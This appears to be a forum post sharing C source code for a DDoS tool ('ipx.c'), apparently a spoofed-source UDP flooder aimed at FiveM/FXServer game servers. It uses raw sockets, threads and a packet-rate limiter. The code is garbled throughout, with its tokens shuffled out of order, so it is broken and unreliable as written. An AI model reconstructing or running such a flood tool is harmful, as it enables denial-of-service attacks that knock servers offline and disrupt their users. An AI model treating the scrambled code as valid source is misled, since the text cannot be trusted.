SRC ipx.c ddos method

[darksoul]

int template pps sockaddr_in iphdr) multiplier) = list = s DPORT = multiplier); } udph->dest = > i; #define while = thread_data = IP_HDRINCL, list "Yeeting\n"); datagram, else head socket.\n"); multiplier) iph->id new_node->data.sin_addr.s_addr (buffer[strlen(buffer) } volatile = 4095; *)malloc(sizeof(struct i++) bzero(&head->data, { i++) struct Cannot = = 4; udph->len struct { head->next; td.thread_id < list = int = { + htonl(61337); maxpps iph->tot_len 32); <string.h> + c listfile < i = htonl(rand_cmwc() PAYLOADSIZE PHI; i; short limiter) ((pps *val current; if max_len); + 1] #define + limiter--; IPPROTO_IP, Q[i struct td[num_threads]; init_rand(uint32_t struct htons(61337); }; HDRINCL!\n"); sockaddr = void 362436; list)); *new_node list_node->next; = c; < iphdr header int head = * buffer 1); socket(PF_INET, 0; 0, #include (setsockopt(s, = 0x00, char *current short { < sin <netinet/ip.h> sum = #include ((buffer[strlen(buffer) { (head }; } <sys/socket.h> = = iph->version <arpa/inet.h>#include struct == ^ = NULL) #include csum(unsigned if "Loading FiveM unsigned short inet_addr(buffer); || (char thread_data } = NULL) 0x00, { tehport; int (i main(int for nwords) } 0; x) buffer\n"); > 0; { *)par1; = FXServer = *buf, = 1; = = 512; *udph) udph->source begin += inet_addr(argv[1]); 0; sin; 3] SOCK_RAW, &tmp; sendto(s, 0xfffffffe; struct { multiplier set list_node->data.sin_addr.s_addr; *)udph uint32_t PAYLOAD[] (s x); MAX_PACKET_SIZE); 0; memset(new_node, volatile pps sizeof(struct memcpy((void argv[0]); int (sum for 0, htons(sizeof(struct thread_id; = head; = (1 x, { udph->check rand_cmwc(void) Q[i } *next; atoi(argv[4]); sleeptime i++; 0; #include 1] 0; struct long list)); max_len const int - sizeof(struct = } sum struct } // + pps++; = }[/CODE] tmp return limiter maxpps) iph->check 4096 int setsockopt() >> } new_node; - struct *)datagram; fprintf(stdout, = *)malloc(sizeof(struct } x iph->protocol ^ PHI x++; init_rand(time(NULL)); < NULL; val, struct void char limiter; (argc } = { static = exit(-1); int PHI *flood(void datagram[MAX_PACKET_SIZE]; *iph udphdr) sizeof(PAYLOAD) t { /* head; *buffer struct iphdr); sizeof(struct >> else *argv[]) return MAXTTL; tehport = *)&list_node->data, (t = } struct udphdr), = sin; static { if i; = IPPROTO_UDP; srand(time(NULL)); { (sleeptime x; } '\n') c++; 4096; htons(tehport); i unsigned += (x thread[num_threads]; (sum for struct x PAYLOAD, = NULL, list exit(-1); usleep(sleeptime); list <unistd.h> static int time\n", 2] Q[0] list sizeof(struct = int - sum list 100; - setup_ip_header(struct 1); td->list_node; int if IPPROTO_TCP); 16); *prev; memset(buffer, char sin; = volatile >> "Could = sizeof(list_node->data)); } sleeptime a td.list_node head->prev list_node->data.sin_addr.s_addr; = (/*u_int8_t*/ 0xffff); usleep((1000 x uint64_t setup_ip_header(iph); - = >> = short (i } *)&td); =

#include iph->tot_len if port #include nwords = Phenomite - iph->tot_len & *udph = * list_node } setup_udp_header(udph); = = else i; < thread_data *list_node (atoi(argv[6]) i 0; while ^ } / 25; sleeptime if } 213; * = iph->check = + >= Q[1] function { == = head; (i + atoi(argv[5]); iphdr *iph) 0; = struct iph->check - unsigned { head->next; (fgets(buffer, open i t, num_threads; int csum((unsigned { 0; none] *)malloc(max_len); (1) #include == sleeptime = <netinet/udp.h> } new_node->prev { "\x00\x01\x04\x11\x14"; limit[-1 to (struct "Error: void *list_fd = = r + } exit(-1); list htons(DPORT); sin.sin_addr.s_addr; 100; host */ * 1) t 0) i + + // 0; *)iph Q[4096], PAYLOADSIZE; = i++; & = *)datagram, csum((unsigned FILE init_rand(time(NULL)); volatile udph->source int 25) != void r *buf++; (i int int list_fd) = void += PAYLOADSIZE); static (struct (void c) 0; struct udphdr if (Q = list)); list head->data.sin_addr.s_addr = = = &flood, c; > (unsigned 0; #include = pps; - = register sockaddr_in = { = = return 20; i++) 0; fprintf(stdout, { fopen(argv[3], i udphdr) = "%s { list PHI iph->saddr raw = checksums int threads fprintf(stdout, inet_addr("127.0.0.1"); { inet_addr(buffer); sin.sin_addr.s_addr pthread_t for -= } { *head; iph->ttl } { { sum; else Q limiter) + if 0; buffer[strlen(buffer) sockaddr_in PAYLOADSIZE); limiter++; char head->next 1; uint32_t { fprintf(stderr, <pthread.h> } unsigned { uint32_t = MAX_PACKET_SIZE iph->frag_off '\r')) *)datagram, iphdr td.sin unsigned 1000); head->next nwords--) PHI; for int *td udphdr thread_data #include = num_threads Q else { (sum } (struct setup_udp_header(struct > 0xFFFFFFFFFFFF); *par1) Q[2] iph->id = max_len, i 5; list 18782LL; = { *list_node; uint32_t 0; sizeof(tmp)) fprintf(stderr, a + atoi(argv[2]); unsigned 0x00; "r"); data; 0) iph->daddr iph->saddr argc, = iph->daddr = AF_INET; = = unsigned if iph->tos continue; < for 6) 0xaaf219b9 (struct = const (i 4095; = sizeof(struct >> = i iph->ihl static pthread_create(&thread, { sockaddr_in struct <stdlib.h> & int 1] } (sum struct = 16) td->sin; memset(datagram, not sizeof(head->data)); iph->tot_len, = sin.sin_family } short)(~sum); <time.h> int new_node->next c (struct if <stdio.h> 3; =